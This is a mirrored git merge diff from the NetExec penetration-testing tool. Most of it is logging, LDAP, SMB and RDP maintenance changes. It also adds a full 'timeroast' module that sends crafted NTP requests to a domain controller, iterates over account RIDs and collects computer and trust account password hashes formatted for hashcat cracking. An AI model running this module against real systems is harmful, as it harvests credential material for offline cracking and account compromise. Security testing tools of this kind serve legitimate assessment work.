mirror of
https://github.com/Pennyw0rth/NetExec
synced 2026-06-06 16:34:30 +00:00
Merge branch 'main' into mssql-rid-brute
This commit is contained in:
+2
-18
@@ -3,7 +3,6 @@ from logging import LogRecord
|
||||
from logging.handlers import RotatingFileHandler
|
||||
import os.path
|
||||
import sys
|
||||
import re
|
||||
from nxc.console import nxc_console
|
||||
from nxc.paths import NXC_PATH
|
||||
from termcolor import colored
|
||||
@@ -43,7 +42,7 @@ def create_temp_logger(caller_frame, formatted_text, args, kwargs):
|
||||
temp_logger = logging.getLogger("temp")
|
||||
formatter = logging.Formatter("%(message)s", datefmt="[%X]")
|
||||
handler = SmartDebugRichHandler(formatter=formatter)
|
||||
handler.handle(LogRecord(temp_logger.name, logging.INFO, caller_frame.f_code.co_filename, caller_frame.f_lineno, formatted_text, args, kwargs, caller_frame=caller_frame))
|
||||
handler.handle(LogRecord(temp_logger.name, logging.INFO, caller_frame.f_code.co_filename, caller_frame.f_lineno, formatted_text, args, None, caller_frame=caller_frame))
|
||||
|
||||
|
||||
class SmartDebugRichHandler(RichHandler):
|
||||
@@ -56,9 +55,6 @@ class SmartDebugRichHandler(RichHandler):
|
||||
|
||||
def emit(self, record):
|
||||
"""Overrides the emit method of the RichHandler class so we can set the proper pathname and lineno"""
|
||||
# for some reason in RDP, the exc_text is None which leads to a KeyError in Python logging
|
||||
record.exc_text = record.getMessage() if record.exc_text is None else record.exc_text
|
||||
|
||||
if hasattr(record, "caller_frame"):
|
||||
frame_info = inspect.getframeinfo(record.caller_frame)
|
||||
record.pathname = frame_info.filename
|
||||
@@ -177,7 +173,7 @@ class NXCAdapter(logging.LoggerAdapter):
|
||||
self.logger.fail(f"Issue while trying to custom print handler: {e}")
|
||||
|
||||
def add_file_log(self, log_file=None):
|
||||
file_formatter = TermEscapeCodeFormatter("%(asctime)s | %(filename)s:%(lineno)s - %(levelname)s - %(message)s", datefmt="%Y-%m-%d %H:%M:%S")
|
||||
file_formatter = logging.Formatter("%(asctime)s | %(filename)s:%(lineno)s - %(levelname)s - %(message)s", datefmt="%Y-%m-%d %H:%M:%S")
|
||||
output_file = self.init_log_file() if log_file is None else log_file
|
||||
file_creation = False
|
||||
|
||||
@@ -209,17 +205,5 @@ class NXCAdapter(logging.LoggerAdapter):
|
||||
)
|
||||
|
||||
|
||||
class TermEscapeCodeFormatter(logging.Formatter):
|
||||
"""A class to strip the escape codes for logging to files"""
|
||||
|
||||
def __init__(self, fmt=None, datefmt=None, style="%", validate=True):
|
||||
super().__init__(fmt, datefmt, style, validate)
|
||||
|
||||
def format(self, record): # noqa: A003
|
||||
escape_re = re.compile(r"\x1b\[[0-9;]*m")
|
||||
record.msg = re.sub(escape_re, "", str(record.msg))
|
||||
return super().format(record)
|
||||
|
||||
|
||||
# initialize the logger for all of nxc - this is imported everywhere
|
||||
nxc_logger = NXCAdapter()
|
||||
|
||||
@@ -373,7 +373,7 @@ class NXCModule:
|
||||
if self.target_DN is not None:
|
||||
_lookedup_principal = self.target_DN
|
||||
target = self.ldap_session.search(
|
||||
searchBase=self.baseDN,
|
||||
searchBase=_lookedup_principal,
|
||||
searchFilter=f"(distinguishedName={_lookedup_principal})",
|
||||
attributes=["nTSecurityDescriptor"],
|
||||
searchControls=controls,
|
||||
|
||||
@@ -286,8 +286,9 @@ class SMBSpiderPlus:
|
||||
# Check file extension filter.
|
||||
_, file_extension = splitext(file_path)
|
||||
if file_extension:
|
||||
file_extension = file_extension.lstrip(".")
|
||||
self.stats["file_exts"].add(file_extension.lower())
|
||||
if file_extension.lower() in self.exclude_exts:
|
||||
if file_extension.lower() in [ext.lstrip(".") for ext in self.exclude_exts]:
|
||||
self.logger.info(f'The file "{file_path}" has an excluded extension.')
|
||||
self.stats["num_files_filtered"] += 1
|
||||
return
|
||||
|
||||
@@ -0,0 +1,112 @@
|
||||
from binascii import hexlify, unhexlify
|
||||
from select import select
|
||||
from time import time
|
||||
from socket import socket, AF_INET, SOCK_DGRAM
|
||||
from struct import pack, unpack
|
||||
|
||||
|
||||
|
||||
def hashcat_format(rid, hashval, salt):
|
||||
"""Encodes hash in Hashcat-compatible format (with username prefix)."""
|
||||
return f"{rid}:$sntp-ms${hexlify(hashval).decode()}${hexlify(salt).decode()}"
|
||||
|
||||
class NXCModule:
|
||||
"""
|
||||
Module by Disgame: @Disgame
|
||||
Based on research from SecuraBV (@SecuraBV)
|
||||
|
||||
https://github.com/SecuraBV/Timeroast/
|
||||
|
||||
Much of this code was copied from the original implementation.
|
||||
"""
|
||||
|
||||
name = "timeroast"
|
||||
description = "Timeroasting exploits Windows NTP authentication to request password hashes of any computer or trust account"
|
||||
supported_protocols = ["smb"]
|
||||
opsec_safe = True
|
||||
multiple_hosts = False
|
||||
|
||||
def __init__(self):
|
||||
self.context = None
|
||||
self.module_options = None
|
||||
|
||||
# Static NTP query prefix using the MD5 authenticator. Append 4-byte RID and dummy checksum to create a full query.
|
||||
self.ntp_prefix = unhexlify("db0011e9000000000001000000000000e1b8407debc7e50600000000000000000000000000000000e1b8428bffbfcd0a")
|
||||
|
||||
|
||||
def options(self, context, module_options):
|
||||
self.rids = range(1, 2**31)
|
||||
self.rate = 180
|
||||
self.timeout = 24
|
||||
self.src_port = 0
|
||||
self.old_hashes = False
|
||||
self.target = None
|
||||
|
||||
if "rids" in module_options:
|
||||
self.rids = module_options["rids"]
|
||||
if "rate" in module_options:
|
||||
self.rate = module_options["rate"]
|
||||
if "timeout" in module_options:
|
||||
self.timeout = module_options["timeout"]
|
||||
if "src_port" in module_options:
|
||||
self.src_port = module_options["src_port"]
|
||||
if "old_hashes" in module_options:
|
||||
self.old_hashes = module_options["old_hashes"]
|
||||
|
||||
def on_login(self, context, connection):
|
||||
if self.target is None:
|
||||
self.target = connection.host
|
||||
|
||||
context.log.display("Starting Timeroasting...")
|
||||
|
||||
for rid, md5hash, salt in self.run_ntp_roast(context, self.target, self.rids, self.rate, self.timeout, self.old_hashes, self.src_port):
|
||||
context.log.highlight(hashcat_format(rid, md5hash, salt))
|
||||
|
||||
def run_ntp_roast(self, context, dc_host, rids, rate, giveup_time, old_pwd, src_port=0):
|
||||
"""Gathers MD5(MD4(password) || NTP-response[:48]) hashes for a sequence of RIDs.
|
||||
Rate is the number of queries per second to send.
|
||||
Will quit when either rids ends or no response has been received in giveup_time seconds. Note that the server will
|
||||
not respond to queries with non-existing RIDs, so it is difficult to distinguish nonexistent RIDs from network
|
||||
issues.
|
||||
|
||||
Yields (rid, hash, salt) pairs, where salt is the NTP response data.
|
||||
"""
|
||||
# Flag in key identifier that indicates whether the old or new password should be used.
|
||||
keyflag = 2**31 if old_pwd else 0
|
||||
|
||||
# Bind UDP socket.
|
||||
with socket(AF_INET, SOCK_DGRAM) as sock:
|
||||
try:
|
||||
sock.bind(("0.0.0.0", src_port))
|
||||
except PermissionError:
|
||||
context.log.exception(f"No permission to listen on port {src_port}. May need to run as root.")
|
||||
|
||||
|
||||
query_interval = 1 / rate
|
||||
last_ok_time = time()
|
||||
rids_received = set()
|
||||
rid_iterator = iter(rids)
|
||||
|
||||
while time() < last_ok_time + giveup_time:
|
||||
# Send out query for the next RID, if any.
|
||||
query_rid = next(rid_iterator, None)
|
||||
if query_rid is not None:
|
||||
query = self.ntp_prefix + pack("<I", query_rid ^ keyflag) + b"\x00" * 16
|
||||
sock.sendto(query, (dc_host, 123))
|
||||
|
||||
# Wait for either a response or time to send the next query.
|
||||
ready, [], [] = select([sock], [], [], query_interval)
|
||||
if ready:
|
||||
reply = sock.recvfrom(120)[0]
|
||||
|
||||
# Extract RID, hash and "salt" if succesful.
|
||||
if len(reply) == 68:
|
||||
salt = reply[:48]
|
||||
answer_rid = unpack("<I", reply[-20:-16])[0] ^ keyflag
|
||||
md5hash = reply[-16:]
|
||||
|
||||
# Filter out duplicates.
|
||||
if answer_rid not in rids_received:
|
||||
rids_received.add(answer_rid)
|
||||
yield answer_rid, md5hash, salt
|
||||
last_ok_time = time()
|
||||
@@ -255,6 +255,7 @@ class ldap(connection):
|
||||
|
||||
def enum_host_info(self):
|
||||
self.target, self.targetDomain, self.baseDN = self.get_ldap_info(self.host)
|
||||
self.baseDN = self.args.base_dn if self.args.base_dn else self.baseDN # Allow overwriting baseDN from args
|
||||
self.hostname = self.target
|
||||
self.remoteName = self.target
|
||||
self.domain = self.targetDomain
|
||||
@@ -495,15 +496,12 @@ class ldap(connection):
|
||||
f"{self.domain}\\{self.username}:{process_secret(self.password)} {ldap_error_status[error_code] if error_code in ldap_error_status else ''}",
|
||||
color="magenta" if (error_code in ldap_error_status and error_code != 1) else "red",
|
||||
)
|
||||
self.logger.fail("LDAPS channel binding might be enabled, this is only supported with kerberos authentication. Try using '-k'.")
|
||||
else:
|
||||
error_code = str(e).split()[-2][:-1]
|
||||
self.logger.fail(
|
||||
f"{self.domain}\\{self.username}:{process_secret(self.password)} {ldap_error_status[error_code] if error_code in ldap_error_status else ''}",
|
||||
color="magenta" if (error_code in ldap_error_status and error_code != 1) else "red",
|
||||
)
|
||||
if proto == "ldaps":
|
||||
self.logger.fail("LDAPS channel binding might be enabled, this is only supported with kerberos authentication. Try using '-k'.")
|
||||
return False
|
||||
except OSError as e:
|
||||
self.logger.fail(f"{self.domain}\\{self.username}:{process_secret(self.password)} {'Error connecting to the domain, are you sure LDAP service is running on the target?'} \nError: {e}")
|
||||
@@ -585,15 +583,12 @@ class ldap(connection):
|
||||
f"{self.domain}\\{self.username}:{process_secret(nthash)} {ldap_error_status[error_code] if error_code in ldap_error_status else ''}",
|
||||
color="magenta" if (error_code in ldap_error_status and error_code != 1) else "red",
|
||||
)
|
||||
self.logger.fail("LDAPS channel binding might be enabled, this is only supported with kerberos authentication. Try using '-k'.")
|
||||
else:
|
||||
error_code = str(e).split()[-2][:-1]
|
||||
self.logger.fail(
|
||||
f"{self.domain}\\{self.username}:{process_secret(nthash)} {ldap_error_status[error_code] if error_code in ldap_error_status else ''}",
|
||||
color="magenta" if (error_code in ldap_error_status and error_code != 1) else "red",
|
||||
)
|
||||
if proto == "ldaps":
|
||||
self.logger.fail("LDAPS channel binding might be enabled, this is only supported with kerberos authentication. Try using '-k'.")
|
||||
return False
|
||||
except OSError as e:
|
||||
self.logger.fail(f"{self.domain}\\{self.username}:{process_secret(self.password)} {'Error connecting to the domain, are you sure LDAP service is running on the target?'} \nError: {e}")
|
||||
@@ -703,6 +698,7 @@ class ldap(connection):
|
||||
# Microsoft Active Directory set an hard limit of 1000 entries returned by any search
|
||||
paged_search_control = ldapasn1_impacket.SimplePagedResultsControl(criticality=True, size=1000)
|
||||
return self.ldapConnection.search(
|
||||
searchBase=self.baseDN,
|
||||
searchFilter=searchFilter,
|
||||
attributes=attributes,
|
||||
sizeLimit=sizeLimit,
|
||||
@@ -1250,6 +1246,7 @@ class ldap(connection):
|
||||
try:
|
||||
self.logger.debug(f"Search Filter={searchFilter}")
|
||||
resp = self.ldapConnection.search(
|
||||
searchBase=self.baseDN,
|
||||
searchFilter=searchFilter,
|
||||
attributes=[
|
||||
"sAMAccountName",
|
||||
@@ -1377,6 +1374,7 @@ class ldap(connection):
|
||||
self.logger.display("Getting GMSA Passwords")
|
||||
search_filter = "(objectClass=msDS-GroupManagedServiceAccount)"
|
||||
gmsa_accounts = self.ldapConnection.search(
|
||||
searchBase=self.baseDN,
|
||||
searchFilter=search_filter,
|
||||
attributes=[
|
||||
"sAMAccountName",
|
||||
@@ -1384,7 +1382,6 @@ class ldap(connection):
|
||||
"msDS-GroupMSAMembership",
|
||||
],
|
||||
sizeLimit=0,
|
||||
searchBase=self.baseDN,
|
||||
)
|
||||
if gmsa_accounts:
|
||||
self.logger.debug(f"Total of records returned {len(gmsa_accounts):d}")
|
||||
@@ -1430,10 +1427,10 @@ class ldap(connection):
|
||||
# getting the gmsa account
|
||||
search_filter = "(objectClass=msDS-GroupManagedServiceAccount)"
|
||||
gmsa_accounts = self.ldapConnection.search(
|
||||
searchBase=self.baseDN,
|
||||
searchFilter=search_filter,
|
||||
attributes=["sAMAccountName"],
|
||||
sizeLimit=0,
|
||||
searchBase=self.baseDN,
|
||||
)
|
||||
if gmsa_accounts:
|
||||
self.logger.debug(f"Total of records returned {len(gmsa_accounts):d}")
|
||||
@@ -1460,10 +1457,10 @@ class ldap(connection):
|
||||
# getting the gmsa account
|
||||
search_filter = "(objectClass=msDS-GroupManagedServiceAccount)"
|
||||
gmsa_accounts = self.ldapConnection.search(
|
||||
searchBase=self.baseDN,
|
||||
searchFilter=search_filter,
|
||||
attributes=["sAMAccountName"],
|
||||
sizeLimit=0,
|
||||
searchBase=self.baseDN,
|
||||
)
|
||||
if gmsa_accounts:
|
||||
self.logger.debug(f"Total of records returned {len(gmsa_accounts):d}")
|
||||
|
||||
@@ -15,7 +15,8 @@ def proto_args(parser, parents):
|
||||
egroup.add_argument("--asreproast", help="Output AS_REP response to crack with hashcat to file")
|
||||
egroup.add_argument("--kerberoasting", help="Output TGS ticket to crack with hashcat to file")
|
||||
|
||||
vgroup = ldap_parser.add_argument_group("Retrieve useful information on the domain", "Options to to play with Kerberos")
|
||||
vgroup = ldap_parser.add_argument_group("Retrieve useful information on the domain")
|
||||
vgroup.add_argument("--base-dn", metavar="BASE_DN", dest="base_dn", type=str, default=None, help="base DN for search queries")
|
||||
vgroup.add_argument("--query", nargs=2, help="Query LDAP with a custom filter and attributes")
|
||||
vgroup.add_argument("--find-delegation", action="store_true", help="Finds delegation relationships within an Active Directory domain. (Enabled Accounts only)")
|
||||
vgroup.add_argument("--trusted-for-delegation", action="store_true", help="Get the list of users and computers with flag TRUSTED_FOR_DELEGATION")
|
||||
|
||||
+20
-10
@@ -22,6 +22,8 @@ from asyauth.common.credentials.kerberos import KerberosCredential
|
||||
from asyauth.common.constants import asyauthSecret
|
||||
from asysocks.unicomm.common.target import UniTarget, UniProto
|
||||
|
||||
from nxc.paths import NXC_PATH
|
||||
|
||||
|
||||
class rdp(connection):
|
||||
def __init__(self, args, db, host):
|
||||
@@ -166,6 +168,7 @@ class rdp(connection):
|
||||
return True
|
||||
|
||||
def check_nla(self):
|
||||
self.logger.debug(f"Checking NLA for {self.host}")
|
||||
for proto in self.protoflags_nla:
|
||||
try:
|
||||
self.iosettings.supported_protocols = proto
|
||||
@@ -373,18 +376,25 @@ class rdp(connection):
|
||||
asyncio.run(self.screen())
|
||||
|
||||
async def nla_screen(self):
|
||||
# Otherwise it crash
|
||||
self.iosettings.supported_protocols = None
|
||||
self.auth = NTLMCredential(secret="", username="", domain="", stype=asyauthSecret.PASS)
|
||||
self.conn = RDPConnection(iosettings=self.iosettings, target=self.target, credentials=self.auth)
|
||||
await self.connect_rdp()
|
||||
await asyncio.sleep(int(self.args.screentime))
|
||||
|
||||
if self.conn is not None and self.conn.desktop_buffer_has_data is True:
|
||||
buffer = self.conn.get_desktop_buffer(VIDEO_FORMAT.PIL)
|
||||
filename = os.path.expanduser(f"~/.nxc/screenshots/{self.hostname}_{self.host}_{datetime.now().strftime('%Y-%m-%d_%H%M%S')}.png")
|
||||
buffer.save(filename, "png")
|
||||
self.logger.highlight(f"NLA Screenshot saved {filename}")
|
||||
for proto in self.protoflags_nla:
|
||||
try:
|
||||
self.iosettings.supported_protocols = proto
|
||||
self.conn = RDPConnection(iosettings=self.iosettings, target=self.target, credentials=self.auth)
|
||||
|
||||
await self.connect_rdp()
|
||||
except Exception as e:
|
||||
self.logger.debug(f"Failed to connect for nla_screenshot with {proto} {e}")
|
||||
return
|
||||
|
||||
await asyncio.sleep(int(self.args.screentime))
|
||||
if self.conn is not None and self.conn.desktop_buffer_has_data is True:
|
||||
buffer = self.conn.get_desktop_buffer(VIDEO_FORMAT.PIL)
|
||||
filename = os.path.expanduser(f"{NXC_PATH}/screenshots/{self.hostname}_{self.host}_{datetime.now().strftime('%Y-%m-%d_%H%M%S')}.png")
|
||||
buffer.save(filename, "png")
|
||||
self.logger.highlight(f"NLA Screenshot saved {filename}")
|
||||
return
|
||||
|
||||
def nla_screenshot(self):
|
||||
if not self.nla:
|
||||
|
||||
+15
-16
@@ -159,6 +159,7 @@ class smb(connection):
|
||||
self.bootkey = None
|
||||
self.output_filename = None
|
||||
self.smbv1 = None
|
||||
self.is_timeouted = False
|
||||
self.signing = False
|
||||
self.smb_share_name = smb_share_name
|
||||
self.pvkbytes = None
|
||||
@@ -551,8 +552,16 @@ class smb(connection):
|
||||
)
|
||||
self.smbv1 = True
|
||||
except OSError as e:
|
||||
if str(e).find("Connection reset by peer") != -1:
|
||||
if "Connection reset by peer" in str(e):
|
||||
self.logger.info(f"SMBv1 might be disabled on {self.host}")
|
||||
elif "timed out" in str(e):
|
||||
self.is_timeouted = True
|
||||
self.logger.debug(f"Timeout creating SMBv1 connection to {self.host}")
|
||||
else:
|
||||
self.logger.info(f"Error creating SMBv1 connection to {self.host}: {e}")
|
||||
return False
|
||||
except NetBIOSError:
|
||||
self.logger.info(f"SMBv1 disabled on {self.host}")
|
||||
return False
|
||||
except (Exception, NetBIOSTimeout) as e:
|
||||
self.logger.info(f"Error creating SMBv1 connection to {self.host}: {e}")
|
||||
@@ -570,15 +579,7 @@ class smb(connection):
|
||||
timeout=self.args.smb_timeout,
|
||||
)
|
||||
self.smbv1 = False
|
||||
except OSError as e:
|
||||
# This should not happen anymore!!!
|
||||
if str(e).find("Too many open files") != -1:
|
||||
if not self.logger:
|
||||
print("DEBUG ERROR: logger not set, please open an issue on github: " + str(self) + str(self.logger))
|
||||
self.proto_logger()
|
||||
self.logger.fail(f"SMBv3 connection error on {self.host}: {e}")
|
||||
return False
|
||||
except (Exception, NetBIOSTimeout) as e:
|
||||
except (Exception, NetBIOSTimeout, OSError) as e:
|
||||
self.logger.info(f"Error creating SMBv3 connection to {self.host}: {e}")
|
||||
return False
|
||||
return True
|
||||
@@ -596,7 +597,7 @@ class smb(connection):
|
||||
self.smbv1 = self.create_smbv1_conn()
|
||||
if self.smbv1:
|
||||
return True
|
||||
else:
|
||||
elif not self.is_timeouted:
|
||||
return self.create_smbv3_conn()
|
||||
elif not no_smbv1 and self.smbv1:
|
||||
return self.create_smbv1_conn()
|
||||
@@ -845,7 +846,7 @@ class smb(connection):
|
||||
self.logger.debug(f"domain: {self.domain}")
|
||||
user_id = self.db.get_user(self.domain.upper(), self.username)[0][0]
|
||||
except IndexError as e:
|
||||
if self.kerberos:
|
||||
if self.kerberos or self.username == "":
|
||||
pass
|
||||
else:
|
||||
self.logger.fail(f"IndexError: {e!s}")
|
||||
@@ -947,10 +948,9 @@ class smb(connection):
|
||||
self.logger.highlight(f"{name:<15} {','.join(perms):<15} {remark}")
|
||||
return permissions
|
||||
|
||||
|
||||
def dir(self): # noqa: A003
|
||||
search_path = ntpath.join(self.args.dir, "*")
|
||||
try:
|
||||
try:
|
||||
contents = self.conn.listPath(self.args.share, search_path)
|
||||
except SessionError as e:
|
||||
error = get_error_string(e)
|
||||
@@ -959,7 +959,7 @@ class smb(connection):
|
||||
color="magenta" if error in smb_error_status else "red",
|
||||
)
|
||||
return
|
||||
|
||||
|
||||
if not contents:
|
||||
return
|
||||
|
||||
@@ -969,7 +969,6 @@ class smb(connection):
|
||||
full_path = ntpath.join(self.args.dir, content.get_longname())
|
||||
self.logger.highlight(f"{'d' if content.is_directory() else 'f'}{'rw-' if content.is_readonly() > 0 else 'r--':<8}{content.get_filesize():<15}{ctime(float(content.get_mtime_epoch())):<30}{full_path:<45}")
|
||||
|
||||
|
||||
@requires_admin
|
||||
def interfaces(self):
|
||||
"""
|
||||
|
||||
Generated
+5
-5
@@ -1,4 +1,4 @@
|
||||
# This file is automatically @generated by Poetry 1.8.3 and should not be changed by hand.
|
||||
# This file is automatically @generated by Poetry 1.8.4 and should not be changed by hand.
|
||||
|
||||
[[package]]
|
||||
name = "aardwolf"
|
||||
@@ -894,7 +894,7 @@ all = ["flake8 (>=7.1.1)", "mypy (>=1.11.2)", "pytest (>=8.3.2)", "ruff (>=0.6.2
|
||||
|
||||
[[package]]
|
||||
name = "impacket"
|
||||
version = "0.13.0.dev0+20240916.171021.65b774de"
|
||||
version = "0.13.0.dev0+20241125.162952.ea27e8b2"
|
||||
description = "Network protocols Constructors and Dissectors"
|
||||
optional = false
|
||||
python-versions = "*"
|
||||
@@ -902,12 +902,12 @@ files = []
|
||||
develop = false
|
||||
|
||||
[package.dependencies]
|
||||
charset-normalizer = "*"
|
||||
charset_normalizer = "*"
|
||||
flask = ">=1.0"
|
||||
ldap3 = ">2.5.0,<2.5.2 || >2.5.2,<2.6 || >2.6"
|
||||
ldapdomaindump = ">=0.9.0"
|
||||
pyasn1 = ">=0.2.3"
|
||||
pyasn1-modules = "*"
|
||||
pyasn1_modules = "*"
|
||||
pycryptodomex = "*"
|
||||
pyOpenSSL = "24.0.0"
|
||||
pyreadline3 = {version = "*", markers = "sys_platform == \"win32\""}
|
||||
@@ -918,7 +918,7 @@ six = "*"
|
||||
type = "git"
|
||||
url = "https://github.com/fortra/impacket.git"
|
||||
reference = "HEAD"
|
||||
resolved_reference = "65b774ded17a79f1041397202852eab0c24cd039"
|
||||
resolved_reference = "ea27e8b2dfedf57370d2f65c5053a2b8eeb8ca9d"
|
||||
|
||||
[[package]]
|
||||
name = "iniconfig"
|
||||
|
||||
Reference in New Issue
Block a user